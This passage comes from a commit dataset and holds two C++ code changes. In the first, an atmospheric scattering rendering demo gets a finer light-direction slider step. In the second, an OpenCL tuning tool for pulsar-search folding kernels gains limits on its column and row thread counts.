Wrap::CLAMP}, Storage::GPU);\r\n\t\t\/\/ Atmosphere screen quad.\r\n\t\t_atmosphere = Resources::manager().getProgram2D(\"atmosphere_basic\");\r\n\t\t\/\/ Final tonemapping screen quad.\r\n\t\t_tonemap = Resources::manager().getProgram2D(\"tonemap\");\r\n\t\t\/\/ Sun direction.\r\n\t\t_lightDirection = glm::normalize(glm::vec3(0.437f, 0.082f, -0.896f));\r\n\t\t\r\n\t\tGLUtilities::setDepthState(true);\r\n\t\tcheckGLError();\r\n\t}\r\n\t\r\n\t\/** \\copydoc CameraApp::draw *\/\r\n\tvoid draw() override {\r\n\t\t\/\/ Render.\r\n\t\tconst glm::mat4 camToWorld = glm::inverse(_userCamera.view());\r\n\t\tconst glm::mat4 clipToCam  = glm::inverse(_userCamera.projection());\r\n\t\t\r\n\t\t\/\/ Draw the atmosphere.\r\n\t\tGLUtilities::setDepthState(false);\r\n\t\t_atmosphereBuffer->bind();\r\n\t\t_atmosphereBuffer->setViewport();\r\n\t\tGLUtilities::clearColor({0.0f, 0.0f, 0.0f, 1.0f});\r\n\t\t\r\n\t\t_atmosphere->use();\r\n\t\tconst glm::mat4 camToWorldNoT = glm::mat4(glm::mat3(camToWorld));\r\n\t\tconst glm::mat4 clipToWorld   = camToWorldNoT * clipToCam;\r\n\t\t_atmosphere->uniform(\"clipToWorld\", clipToWorld);\r\n\t\t_atmosphere->uniform(\"viewPos\", _userCamera.position());\r\n\t\t_atmosphere->uniform(\"lightDirection\", _lightDirection);\r\n\t\tScreenQuad::draw(_precomputedScattering);\r\n\t\t_atmosphereBuffer->unbind();\r\n\t\t\r\n\t\t\/\/ Tonemapping and final screen.\r\n\t\tGLUtilities::setViewport(0, 0, int(_config.screenResolution[0]), int(_config.screenResolution[1]));\r\n\t\tFramebuffer::backbuffer()->bind(Framebuffer::Mode::SRGB);\r\n\t\t_tonemap->use();\r\n\t\tScreenQuad::draw(_atmosphereBuffer->texture());\r\n\t\tFramebuffer::backbuffer()->unbind();\r\n\t}\r\n\t\r\n\t\/** \\copydoc CameraApp::update *\/\r\n\tvoid update() override {\r\n\t\tCameraApp::update();\r\n\t\t\r\n\t\tif(ImGui::Begin(\"Atmosphere\")){\r\n\t\t\tImGui::Text(\"%.1f ms, %.1f fps\", frameTime() * 1000.0f, frameRate());\r\n\t\t\tif(ImGui::DragFloat3(\"Light dir\", &_lightDirection[0], 0.05f, -1.0f, 1.0f)) {\r\n\t\t\t\t_lightDirection = glm::normalize(_lightDirection);\r\n\t\t\t}\r\n\t\t}\r\n\t\tImGui::End();\r\n\t}\r\n\t\r\n\t\/** \\copydoc CameraApp::resize *\/\r\n\tvoid resize() override {\r\n\t\t_atmosphereBuffer->resize(_config.renderingResolution());\r\n\t}\r\n\t\r\nprivate:\r\n\tstd::unique_ptr<Framebuffer> _atmosphereBuffer; \/\/\/< Scene framebuffer.\r\n\tconst Program * _atmosphere; \/\/\/< Atmospheric scattering shader.\r\n\tconst Program * _tonemap; \/\/\/< Tonemapping shader.\r\n\tconst Texture * _precomputedScattering; \/\/\/< Precomputed lookup table.\r\n\tglm::vec3 _lightDirection; \/\/\/< Sun light direction.\r\n};\r\n\r\n\/**\r\n The main function of the atmospheric scattering demo.\r\n \\param argc the number of input arguments.\r\n \\param argv a pointer to the raw input arguments.\r\n \\return a general error code.\r\n \\ingroup AtmosphericScattering\r\n *\/\r\nint main(int argc, char ** argv) {\r\n\t\r\n\t\/\/ First, init\/parse\/load configuration.\r\n\tRenderingConfig config(std::vector<std::string>(argv, argv + argc));\r\n\tif(config.showHelp()) {\r\n\t\treturn 0;\r\n\t}\r\n\t\r\n\tWindow window(\"Atmosphere\", config);\r\n\t\r\n\tResources::manager().addResources(\"..\/..\/..\/resources\/common\");\r\n\tResources::manager().addResources(\"..\/..\/..\/resources\/atmosphere\");\r\n\tif(!config.resourcesPath.empty()){\r\n\t\tResources::manager().addResources(config.resourcesPath);\r\n\t}\r\n\t\r\n\t\/\/ Seed random generator.\r\n\tRandom::seed();\r\n\t\r\n\tAtmosphereApp app(config);\r\n\t\r\n\t\/\/ Start the display\/interaction loop.\r\n\twhile(window.nextFrame()) {\r\n\t\tapp.update();\r\n\t\tapp.draw();\r\n\t}\r\n\t\r\n\t\/\/ Cleaning.\r\n\tResources::manager().clean();\r\n\t\r\n\treturn 0;\r\n}\r\n<commit_msg>Atmosphere: adjust step.<commit_after>#include \"input\/Input.hpp\"\r\n#include \"Application.hpp\"\r\n#include \"resources\/ResourcesManager.hpp\"\r\n#include \"graphics\/ScreenQuad.hpp\"\r\n#include \"graphics\/Framebuffer.hpp\"\r\n#include \"graphics\/GLUtilities.hpp\"\r\n#include \"system\/Window.hpp\"\r\n#include \"system\/System.hpp\"\r\n#include \"generation\/Random.hpp\"\r\n#include \"system\/Config.hpp\"\r\n#include \"Common.hpp\"\r\n\r\n\/**\r\n \\defgroup AtmosphericScattering Atmospheric scattering\r\n \\brief Demonstrate real-time approximate atmospheric scattering simulation.\r\n \\see GPU::Frag::Atmosphere\r\n \\ingroup Applications\r\n *\/\r\n\r\n\/** \\brief Demo application for the atmospheric scattering shader.\r\n \\ingroup AtmosphericScattering\r\n *\/\r\nclass AtmosphereApp final : public CameraApp {\r\npublic:\r\n\t\r\n\t\/** Constructor\r\n\t \\param config rendering config\r\n\t *\/\r\n\tAtmosphereApp(RenderingConfig & config) : CameraApp(config) {\r\n\t\t_userCamera.projection(config.screenResolution[0] \/ config.screenResolution[1], 1.34f, 0.1f, 100.0f);\r\n\t\t\/\/ Framebuffer to store the rendered atmosphere result before tonemapping and upscaling to the window size.\r\n\t\tconst glm::vec2 renderRes = _config.renderingResolution();\r\n\t\t_atmosphereBuffer.reset(new Framebuffer(uint(renderRes[0]), uint(renderRes[1]), {Layout::RGB32F, Filter::LINEAR_NEAREST, Wrap::CLAMP}, false, \"Atmosphere\"));\r\n\t\t\/\/ Lookup table.\r\n\t\t_precomputedScattering = Resources::manager().getTexture(\"scattering-precomputed\", {Layout::RGB32F, Filter::LINEAR_LINEAR, Wrap::CLAMP}, Storage::GPU);\r\n\t\t\/\/ Atmosphere screen quad.\r\n\t\t_atmosphere = Resources::manager().getProgram2D(\"atmosphere_basic\");\r\n\t\t\/\/ Final tonemapping screen quad.\r\n\t\t_tonemap = Resources::manager().getProgram2D(\"tonemap\");\r\n\t\t\/\/ Sun direction.\r\n\t\t_lightDirection = glm::normalize(glm::vec3(0.437f, 0.082f, -0.896f));\r\n\t\t\r\n\t\tGLUtilities::setDepthState(true);\r\n\t\tcheckGLError();\r\n\t}\r\n\t\r\n\t\/** \\copydoc CameraApp::draw *\/\r\n\tvoid draw() override {\r\n\t\t\/\/ Render.\r\n\t\tconst glm::mat4 camToWorld = glm::inverse(_userCamera.view());\r\n\t\tconst glm::mat4 clipToCam  = glm::inverse(_userCamera.projection());\r\n\t\t\r\n\t\t\/\/ Draw the atmosphere.\r\n\t\tGLUtilities::setDepthState(false);\r\n\t\t_atmosphereBuffer->bind();\r\n\t\t_atmosphereBuffer->setViewport();\r\n\t\tGLUtilities::clearColor({0.0f, 0.0f, 0.0f, 1.0f});\r\n\t\t\r\n\t\t_atmosphere->use();\r\n\t\tconst glm::mat4 camToWorldNoT = glm::mat4(glm::mat3(camToWorld));\r\n\t\tconst glm::mat4 clipToWorld   = camToWorldNoT * clipToCam;\r\n\t\t_atmosphere->uniform(\"clipToWorld\", clipToWorld);\r\n\t\t_atmosphere->uniform(\"viewPos\", _userCamera.position());\r\n\t\t_atmosphere->uniform(\"lightDirection\", _lightDirection);\r\n\t\tScreenQuad::draw(_precomputedScattering);\r\n\t\t_atmosphereBuffer->unbind();\r\n\t\t\r\n\t\t\/\/ Tonemapping and final screen.\r\n\t\tGLUtilities::setViewport(0, 0, int(_config.screenResolution[0]), int(_config.screenResolution[1]));\r\n\t\tFramebuffer::backbuffer()->bind(Framebuffer::Mode::SRGB);\r\n\t\t_tonemap->use();\r\n\t\tScreenQuad::draw(_atmosphereBuffer->texture());\r\n\t\tFramebuffer::backbuffer()->unbind();\r\n\t}\r\n\t\r\n\t\/** \\copydoc CameraApp::update *\/\r\n\tvoid update() override {\r\n\t\tCameraApp::update();\r\n\t\t\r\n\t\tif(ImGui::Begin(\"Atmosphere\")){\r\n\t\t\tImGui::Text(\"%.1f ms, %.1f fps\", frameTime() * 1000.0f, frameRate());\r\n\t\t\tif(ImGui::DragFloat3(\"Light dir\", &_lightDirection[0], 0.005f, -1.0f, 1.0f)) {\r\n\t\t\t\t_lightDirection = glm::normalize(_lightDirection);\r\n\t\t\t}\r\n\t\t}\r\n\t\tImGui::End();\r\n\t}\r\n\t\r\n\t\/** \\copydoc CameraApp::resize *\/\r\n\tvoid resize() override {\r\n\t\t_atmosphereBuffer->resize(_config.renderingResolution());\r\n\t}\r\n\t\r\nprivate:\r\n\tstd::unique_ptr<Framebuffer> _atmosphereBuffer; \/\/\/< Scene framebuffer.\r\n\tconst Program * _atmosphere; \/\/\/< Atmospheric scattering shader.\r\n\tconst Program * _tonemap; \/\/\/< Tonemapping shader.\r\n\tconst Texture * _precomputedScattering; \/\/\/< Precomputed lookup table.\r\n\tglm::vec3 _lightDirection; \/\/\/< Sun light direction.\r\n};\r\n\r\n\/**\r\n The main function of the atmospheric scattering demo.\r\n \\param argc the number of input arguments.\r\n \\param argv a pointer to the raw input arguments.\r\n \\return a general error code.\r\n \\ingroup AtmosphericScattering\r\n *\/\r\nint main(int argc, char ** argv) {\r\n\t\r\n\t\/\/ First, init\/parse\/load configuration.\r\n\tRenderingConfig config(std::vector<std::string>(argv, argv + argc));\r\n\tif(config.showHelp()) {\r\n\t\treturn 0;\r\n\t}\r\n\t\r\n\tWindow window(\"Atmosphere\", config);\r\n\t\r\n\tResources::manager().addResources(\"..\/..\/..\/resources\/common\");\r\n\tResources::manager().addResources(\"..\/..\/..\/resources\/atmosphere\");\r\n\tif(!config.resourcesPath.empty()){\r\n\t\tResources::manager().addResources(config.resourcesPath);\r\n\t}\r\n\t\r\n\t\/\/ Seed random generator.\r\n\tRandom::seed();\r\n\t\r\n\tAtmosphereApp app(config);\r\n\t\r\n\t\/\/ Start the display\/interaction loop.\r\n\twhile(window.nextFrame()) {\r\n\t\tapp.update();\r\n\t\tapp.draw();\r\n\t}\r\n\t\r\n\t\/\/ Cleaning.\r\n\tResources::manager().clean();\r\n\t\r\n\treturn 0;\r\n}\r\n<|endoftext|>"}
{"text":"<commit_before>\/\/\n\/\/ Copyright (C) 2013\n\/\/ Alessio Sclocco <a.sclocco@vu.nl>\n\/\/\n\/\/ This program is free software: you can redistribute it and\/or modify\n\/\/ it under the terms of the GNU General Public License as published by\n\/\/ the Free Software Foundation, either version 3 of the License, or\n\/\/ (at your option) any later version.\n\/\/\n\/\/ This program is distributed in the hope that it will be useful,\n\/\/ but WITHOUT ANY WARRANTY; without even the implied warranty of\n\/\/ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n\/\/ GNU General Public License for more details.\n\/\/\n\/\/ You should have received a copy of the GNU General Public License\n\/\/ along with this program.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n\/\/\n\n#include <iostream>\n#include <string>\n#include <vector>\n#include <exception>\n#include <fstream>\n#include <iomanip>\n#include <limits>\n#include <cmath>\nusing std::cout;\nusing std::cerr;\nusing std::endl;\nusing std::string;\nusing std::vector;\nusing std::exception;\nusing std::ofstream;\nusing std::fixed;\nusing std::setprecision;\nusing std::numeric_limits;\n\n#include <ArgumentList.hpp>\nusing isa::utils::ArgumentList;\n#include <Observation.hpp>\nusing AstroData::Observation;\n#include <InitializeOpenCL.hpp>\nusing isa::OpenCL::initializeOpenCL;\n#include <CLData.hpp>\nusing isa::OpenCL::CLData;\n#include <utils.hpp>\nusing isa::utils::toStringValue;\n#include <Folding.hpp>\nusing PulsarSearch::Folding;\n#include <Timer.hpp>\nusing isa::utils::Timer;\n#include <Bins.hpp>\nusing PulsarSearch::getNrSamplesPerBin;\n\ntypedef float dataType;\nconst string typeName(\"float\");\n\n\nint main(int argc, char * argv[]) {\n\tunsigned int lowerNrThreads = 0;\n\tunsigned int maxThreadsPerBlock = 0;\n\tunsigned int maxItemsPerThread = 16;\n\tunsigned int nrIterations = 0;\n\tunsigned int clPlatformID = 0;\n\tunsigned int clDeviceID = 0;\n\tObservation< dataType > observation(\"FoldingTuning\", typeName);\n\tCLData< dataType > * dedispersedData = new CLData< dataType >(\"DedispersedData\", true);\n\tCLData< dataType > * foldedData = new CLData<dataType >(\"FoldedData\", true);\n\tCLData< unsigned int > * readCounterData = new CLData< unsigned int >(\"ReadCounterData\", true);\n\tCLData< unsigned int > * writeCounterData = new CLData< unsigned int >(\"WriteCounterData\", true);\n\tCLData< unsigned int > * nrSamplesPerBin = new CLData< unsigned int >(\"SamplesPerBin\", true);\n\n\n\ttry {\n\t\tArgumentList args(argc, argv);\n\n\t\tclPlatformID = args.getSwitchArgument< unsigned int >(\"-opencl_platform\");\n\t\tclDeviceID = args.getSwitchArgument< unsigned int >(\"-opencl_device\");\n\t\tobservation.setPadding(args.getSwitchArgument< unsigned int >(\"-padding\"));\n\t\tnrIterations = args.getSwitchArgument< unsigned int >(\"-iterations\");\n\t\tobservation.setNrDMs(args.getSwitchArgument< unsigned int >(\"-dms\"));\n\t\tlowerNrThreads = args.getSwitchArgument< unsigned int >(\"-lnt\");\n\t\tmaxThreadsPerBlock = args.getSwitchArgument< unsigned int >(\"-mnt\");\n\t\tmaxItemsPerThread = args.getSwitchArgument< unsigned int >(\"-mit\");\n\t\tobservation.setNrPeriods(args.getSwitchArgument< unsigned int >(\"-periods\"));\n\t\tobservation.setFirstPeriod(args.getSwitchArgument< unsigned int >(\"-first_period\"));\n\t\tobservation.setPeriodStep(args.getSwitchArgument< unsigned int >(\"-period_step\"));\n\t\tobservation.setNrBins(args.getSwitchArgument< unsigned int >(\"-bins\"));\n\t\tobservation.setNrSamplesPerSecond(args.getSwitchArgument< unsigned int >(\"-samples\"));\n\t} catch ( exception & err ) {\n\t\tcerr << err.what() << endl;\n\t\treturn 1;\n\t}\n\n\tcl::Context * clContext = new cl::Context();\n\tvector< cl::Platform > * clPlatforms = new vector< cl::Platform >();\n\tvector< cl::Device > * clDevices = new vector< cl::Device >();\n\tvector< vector< cl::CommandQueue > > * clQueues = new vector< vector < cl::CommandQueue > >();\n\t\n\tinitializeOpenCL(clPlatformID, 1, clPlatforms, clContext, clDevices, clQueues);\n\n\tcout << fixed << endl;\n\tcout << \"# nrDMs nrPeriods firstPeriod periodStep nrBins nrSamplesPerSecond nrDMsPerBlock nrPeriodsPerBlock nrBinsPerBlock nrDMsPerThread nrPeriodsPerThread nrBinsPerThread GFLOP\/s err time err\" << endl << endl;\n\n\t\/\/ Allocate memory\n\tdedispersedData->allocateHostData(observation.getNrSamplesPerSecond() * observation.getNrPaddedDMs());\n\tdedispersedData->blankHostData();\n\tfoldedData->allocateHostData(observation.getNrPaddedDMs() * observation.getNrBins() * observation.getNrPeriods());\n\tfoldedData->blankHostData();\n\treadCounterData->allocateHostData(observation.getNrPeriods() * 2 * observation.getNrPaddedBins());\n\treadCounterData->blankHostData();\n\twriteCounterData->allocateHostData(observation.getNrPeriods() * 2 * observation.getNrPaddedBins());\n\twriteCounterData->blankHostData();\n\tvector< unsigned int > * nrSamplesPerBinData = getNrSamplesPerBin(observation);\n\tnrSamplesPerBin->allocateHostData(*nrSamplesPerBinData);\n\n\tdedispersedData->setCLContext(clContext);\n\tdedispersedData->setCLQueue(&((clQueues->at(clDeviceID)).at(0)));\n\tfoldedData->setCLContext(clContext);\n\tfoldedData->setCLQueue(&((clQueues->at(clDeviceID)).at(0)));\n\treadCounterData->setCLContext(clContext);\n\treadCounterData->setCLQueue(&((clQueues->at(clDeviceID)).at(0)));\n\twriteCounterData->setCLContext(clContext);\n\twriteCounterData->setCLQueue(&((clQueues->at(clDeviceID)).at(0)));\n\tnrSamplesPerBin->setCLContext(clContext);\n\tnrSamplesPerBin->setCLQueue(&((clQueues->at(clDeviceID)).at(0)));\n\tnrSamplesPerBin->setDeviceReadOnly();\n\n\ttry {\n\t\tdedispersedData->allocateDeviceData();\n\t\tdedispersedData->copyHostToDevice();\n\t\tfoldedData->allocateDeviceData();\n\t\tfoldedData->copyHostToDevice();\n\t\treadCounterData->allocateDeviceData();\n\t\treadCounterData->copyHostToDevice();\n\t\twriteCounterData->allocateDeviceData();\n\t\twriteCounterData->copyHostToDevice();\n\t\tnrSamplesPerBin->allocateDeviceData();\n\t\tnrSamplesPerBin->copyHostToDevice();\n\t} catch ( OpenCLError err ) {\n\t\tcerr << err.what() << endl;\n\t}\n\n\t\/\/ Find the parameters\n\tvector< vector< unsigned int > > configurations;\n\tfor ( unsigned int DMsPerBlock = lowerNrThreads; DMsPerBlock <= maxThreadsPerBlock; DMsPerBlock += lowerNrThreads ) {\n\t\tif ( observation.getNrPaddedDMs() % DMsPerBlock != 0 ) {\n\t\t\tcontinue;\n\t\t}\n\n\t\tfor ( unsigned int periodsPerBlock = 1; periodsPerBlock <= maxThreadsPerBlock; periodsPerBlock++ ) {\n\t\t\tif ( observation.getNrPeriods() % periodsPerBlock != 0 ) {\n\t\t\t\tcontinue;\n\t\t\t} else if ( DMsPerBlock * periodsPerBlock > maxThreadsPerBlock ) {\n\t\t\t\tbreak;\n\t\t\t}\n\n\t\t\tfor ( unsigned int binsPerBlock = 1; binsPerBlock <= maxThreadsPerBlock; binsPerBlock++ ) {\n\t\t\t\tif ( observation.getNrBins() % binsPerBlock != 0 ) {\n\t\t\t\t\tcontinue;\n\t\t\t\t} else if ( DMsPerBlock * periodsPerBlock * binsPerBlock > maxThreadsPerBlock ) {\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\n\t\t\t\tfor ( unsigned int DMsPerThread = 1; DMsPerThread <= maxItemsPerThread; DMsPerThread++ ) {\n\t\t\t\t\tif ( observation.getNrPaddedDMs() % (DMsPerBlock * DMsPerThread) != 0 ) {\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t}\n\n\t\t\t\t\tfor ( unsigned int periodsPerThread = 1; periodsPerThread <= maxItemsPerThread; periodsPerThread++ ) {\n\t\t\t\t\t\tif ( observation.getNrPeriods() % (periodsPerBlock * periodsPerThread) != 0 ) {\n\t\t\t\t\t\t\tcontinue;\n\t\t\t\t\t\t} else if ( (DMsPerThread + (2 * periodsPerThread)) > maxItemsPerThread ) {\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tfor ( unsigned int binsPerThread = 1; binsPerThread <= maxItemsPerThread; binsPerThread++ ) {\n\t\t\t\t\t\t\tif ( observation.getNrBins() % (binsPerBlock * binsPerThread) != 0 ) {\n\t\t\t\t\t\t\t\tcontinue;\n\t\t\t\t\t\t\t} else if ( (DMsPerThread + (2 * periodsPerThread) + binsPerThread) + (3 * periodsPerThread * binsPerThread) + (2 * DMsPerThread * periodsPerThread * binsPerThread) > maxItemsPerThread ) {\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\tvector< unsigned int > parameters;\n\n\t\t\t\t\t\t\tparameters.push_back(DMsPerBlock);\n\t\t\t\t\t\t\tparameters.push_back(periodsPerBlock);\n\t\t\t\t\t\t\tparameters.push_back(binsPerBlock);\n\t\t\t\t\t\t\tparameters.push_back(DMsPerThread);\n\t\t\t\t\t\t\tparameters.push_back(periodsPerThread);\n\t\t\t\t\t\t\tparameters.push_back(binsPerThread);\n\n\t\t\t\t\t\t\tconfigurations.push_back(parameters);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\tfor ( vector< vector< unsigned int > >::const_iterator parameters = configurations.begin(); parameters != configurations.end(); parameters++ ) {\n\t\ttry {\n\t\t\t\/\/ Generate kernel\n\t\t\tFolding< dataType > clFold(\"clFold\", typeName);\n\t\t\tclFold.bindOpenCL(clContext, &(clDevices->at(clDeviceID)), &((clQueues->at(clDeviceID)).at(0)));\n\t\t\tclFold.setObservation(&observation);\n\t\t\tclFold.setNrSamplesPerBin(nrSamplesPerBin);\n\t\t\tclFold.setNrDMsPerBlock((*parameters)[0]);\n\t\t\tclFold.setNrPeriodsPerBlock((*parameters)[1]);\n\t\t\tclFold.setNrBinsPerBlock((*parameters)[2]);\n\t\t\tclFold.setNrDMsPerThread((*parameters)[3]);\n\t\t\tclFold.setNrPeriodsPerThread((*parameters)[4]);\n\t\t\tclFold.setNrBinsPerThread((*parameters)[5]);\n\t\t\tclFold.generateCode();\n\n\t\t\tfoldedData->copyHostToDevice();\n\t\t\tclFold(0, dedispersedData, foldedData, readCounterData, writeCounterData);\n\t\t\t(clFold.getTimer()).reset();\n\t\t\tclFold.resetStats();\n\t\t\t\n\t\t\tfor ( unsigned int iteration = 0; iteration < nrIterations; iteration++ ) {\n\t\t\t\tfoldedData->copyHostToDevice();\n\t\t\t\tclFold(0, dedispersedData, foldedData, readCounterData, writeCounterData);\n\t\t\t}\n\n\t\t\tcout << observation.getNrDMs() << \" \" << observation.getNrPeriods() << \" \" << observation.getFirstPeriod() << \" \" << observation.getPeriodStep() << \" \" << observation.getNrBins() << \" \" << observation.getNrSamplesPerSecond() << \" \" << (*parameters)[0] << \" \" << (*parameters)[1] << \" \" << (*parameters)[2] << \" \" << (*parameters)[3] << \" \" << (*parameters)[4] << \" \" << (*parameters)[5] << \" \" << setprecision(3) << clFold.getGFLOPs() << \" \" << clFold.getGFLOPsErr() << \" \" << setprecision(6) << clFold.getTimer().getAverageTime() << \" \" << clFold.getTimer().getStdDev() << endl;\n\t\t} catch ( OpenCLError err ) {\n\t\t\tcerr << err.what() << endl;\n\t\t\tcontinue;\n\t\t}\n\t}\n\n\tcout << endl;\n\n\treturn 0;\n}\n<commit_msg>It is possible to limit the maximum number of threads in a row.<commit_after>\/\/\n\/\/ Copyright (C) 2013\n\/\/ Alessio Sclocco <a.sclocco@vu.nl>\n\/\/\n\/\/ This program is free software: you can redistribute it and\/or modify\n\/\/ it under the terms of the GNU General Public License as published by\n\/\/ the Free Software Foundation, either version 3 of the License, or\n\/\/ (at your option) any later version.\n\/\/\n\/\/ This program is distributed in the hope that it will be useful,\n\/\/ but WITHOUT ANY WARRANTY; without even the implied warranty of\n\/\/ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n\/\/ GNU General Public License for more details.\n\/\/\n\/\/ You should have received a copy of the GNU General Public License\n\/\/ along with this program.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n\/\/\n\n#include <iostream>\n#include <string>\n#include <vector>\n#include <exception>\n#include <fstream>\n#include <iomanip>\n#include <limits>\n#include <cmath>\nusing std::cout;\nusing std::cerr;\nusing std::endl;\nusing std::string;\nusing std::vector;\nusing std::exception;\nusing std::ofstream;\nusing std::fixed;\nusing std::setprecision;\nusing std::numeric_limits;\n\n#include <ArgumentList.hpp>\nusing isa::utils::ArgumentList;\n#include <Observation.hpp>\nusing AstroData::Observation;\n#include <InitializeOpenCL.hpp>\nusing isa::OpenCL::initializeOpenCL;\n#include <CLData.hpp>\nusing isa::OpenCL::CLData;\n#include <utils.hpp>\nusing isa::utils::toStringValue;\n#include <Folding.hpp>\nusing PulsarSearch::Folding;\n#include <Timer.hpp>\nusing isa::utils::Timer;\n#include <Bins.hpp>\nusing PulsarSearch::getNrSamplesPerBin;\n\ntypedef float dataType;\nconst string typeName(\"float\");\n\n\nint main(int argc, char * argv[]) {\n\tunsigned int lowerNrThreads = 0;\n\tunsigned int maxThreadsPerBlock = 0;\n\tunsigned int maxItemsPerThread = 16;\n\tunsigned int maxColumns = 0;\n\tunsigned int maxRows = 0;\n\tunsigned int nrIterations = 0;\n\tunsigned int clPlatformID = 0;\n\tunsigned int clDeviceID = 0;\n\tObservation< dataType > observation(\"FoldingTuning\", typeName);\n\tCLData< dataType > * dedispersedData = new CLData< dataType >(\"DedispersedData\", true);\n\tCLData< dataType > * foldedData = new CLData<dataType >(\"FoldedData\", true);\n\tCLData< unsigned int > * readCounterData = new CLData< unsigned int >(\"ReadCounterData\", true);\n\tCLData< unsigned int > * writeCounterData = new CLData< unsigned int >(\"WriteCounterData\", true);\n\tCLData< unsigned int > * nrSamplesPerBin = new CLData< unsigned int >(\"SamplesPerBin\", true);\n\n\n\ttry {\n\t\tArgumentList args(argc, argv);\n\n\t\tclPlatformID = args.getSwitchArgument< unsigned int >(\"-opencl_platform\");\n\t\tclDeviceID = args.getSwitchArgument< unsigned int >(\"-opencl_device\");\n\t\tobservation.setPadding(args.getSwitchArgument< unsigned int >(\"-padding\"));\n\t\tnrIterations = args.getSwitchArgument< unsigned int >(\"-iterations\");\n\t\tobservation.setNrDMs(args.getSwitchArgument< unsigned int >(\"-dms\"));\n\t\tlowerNrThreads = args.getSwitchArgument< unsigned int >(\"-lnt\");\n\t\tmaxThreadsPerBlock = args.getSwitchArgument< unsigned int >(\"-mnt\");\n\t\tmaxItemsPerThread = args.getSwitchArgument< unsigned int >(\"-mit\");\n\t\tmaxColumns = args.getSwitchArgument< unsigned int >(\"-max_columns\");\n\t\tmaxRows = args.getSwitchArgument< unsigned int >(\"-max_rows\");\n\t\tobservation.setNrPeriods(args.getSwitchArgument< unsigned int >(\"-periods\"));\n\t\tobservation.setFirstPeriod(args.getSwitchArgument< unsigned int >(\"-first_period\"));\n\t\tobservation.setPeriodStep(args.getSwitchArgument< unsigned int >(\"-period_step\"));\n\t\tobservation.setNrBins(args.getSwitchArgument< unsigned int >(\"-bins\"));\n\t\tobservation.setNrSamplesPerSecond(args.getSwitchArgument< unsigned int >(\"-samples\"));\n\t} catch ( exception & err ) {\n\t\tcerr << err.what() << endl;\n\t\treturn 1;\n\t}\n\n\tcl::Context * clContext = new cl::Context();\n\tvector< cl::Platform > * clPlatforms = new vector< cl::Platform >();\n\tvector< cl::Device > * clDevices = new vector< cl::Device >();\n\tvector< vector< cl::CommandQueue > > * clQueues = new vector< vector < cl::CommandQueue > >();\n\t\n\tinitializeOpenCL(clPlatformID, 1, clPlatforms, clContext, clDevices, clQueues);\n\n\tcout << fixed << endl;\n\tcout << \"# nrDMs nrPeriods firstPeriod periodStep nrBins nrSamplesPerSecond nrDMsPerBlock nrPeriodsPerBlock nrBinsPerBlock nrDMsPerThread nrPeriodsPerThread nrBinsPerThread GFLOP\/s err time err\" << endl << endl;\n\n\t\/\/ Allocate memory\n\tdedispersedData->allocateHostData(observation.getNrSamplesPerSecond() * observation.getNrPaddedDMs());\n\tdedispersedData->blankHostData();\n\tfoldedData->allocateHostData(observation.getNrPaddedDMs() * observation.getNrBins() * observation.getNrPeriods());\n\tfoldedData->blankHostData();\n\treadCounterData->allocateHostData(observation.getNrPeriods() * 2 * observation.getNrPaddedBins());\n\treadCounterData->blankHostData();\n\twriteCounterData->allocateHostData(observation.getNrPeriods() * 2 * observation.getNrPaddedBins());\n\twriteCounterData->blankHostData();\n\tvector< unsigned int > * nrSamplesPerBinData = getNrSamplesPerBin(observation);\n\tnrSamplesPerBin->allocateHostData(*nrSamplesPerBinData);\n\n\tdedispersedData->setCLContext(clContext);\n\tdedispersedData->setCLQueue(&((clQueues->at(clDeviceID)).at(0)));\n\tfoldedData->setCLContext(clContext);\n\tfoldedData->setCLQueue(&((clQueues->at(clDeviceID)).at(0)));\n\treadCounterData->setCLContext(clContext);\n\treadCounterData->setCLQueue(&((clQueues->at(clDeviceID)).at(0)));\n\twriteCounterData->setCLContext(clContext);\n\twriteCounterData->setCLQueue(&((clQueues->at(clDeviceID)).at(0)));\n\tnrSamplesPerBin->setCLContext(clContext);\n\tnrSamplesPerBin->setCLQueue(&((clQueues->at(clDeviceID)).at(0)));\n\tnrSamplesPerBin->setDeviceReadOnly();\n\n\ttry {\n\t\tdedispersedData->allocateDeviceData();\n\t\tdedispersedData->copyHostToDevice();\n\t\tfoldedData->allocateDeviceData();\n\t\tfoldedData->copyHostToDevice();\n\t\treadCounterData->allocateDeviceData();\n\t\treadCounterData->copyHostToDevice();\n\t\twriteCounterData->allocateDeviceData();\n\t\twriteCounterData->copyHostToDevice();\n\t\tnrSamplesPerBin->allocateDeviceData();\n\t\tnrSamplesPerBin->copyHostToDevice();\n\t} catch ( OpenCLError err ) {\n\t\tcerr << err.what() << endl;\n\t}\n\n\t\/\/ Find the parameters\n\tvector< vector< unsigned int > > configurations;\n\tfor ( unsigned int DMsPerBlock = lowerNrThreads; DMsPerBlock <= maxColumns; DMsPerBlock += lowerNrThreads ) {\n\t\tif ( observation.getNrPaddedDMs() % DMsPerBlock != 0 ) {\n\t\t\tcontinue;\n\t\t}\n\n\t\tfor ( unsigned int periodsPerBlock = 1; periodsPerBlock <= maxRows; periodsPerBlock++ ) {\n\t\t\tif ( observation.getNrPeriods() % periodsPerBlock != 0 ) {\n\t\t\t\tcontinue;\n\t\t\t} else if ( DMsPerBlock * periodsPerBlock > maxThreadsPerBlock ) {\n\t\t\t\tbreak;\n\t\t\t}\n\n\t\t\tfor ( unsigned int binsPerBlock = 1; binsPerBlock <= maxRows; binsPerBlock++ ) {\n\t\t\t\tif ( observation.getNrBins() % binsPerBlock != 0 ) {\n\t\t\t\t\tcontinue;\n\t\t\t\t} else if ( DMsPerBlock * periodsPerBlock * binsPerBlock > maxThreadsPerBlock ) {\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\n\t\t\t\tfor ( unsigned int DMsPerThread = 1; DMsPerThread <= maxItemsPerThread; DMsPerThread++ ) {\n\t\t\t\t\tif ( observation.getNrPaddedDMs() % (DMsPerBlock * DMsPerThread) != 0 ) 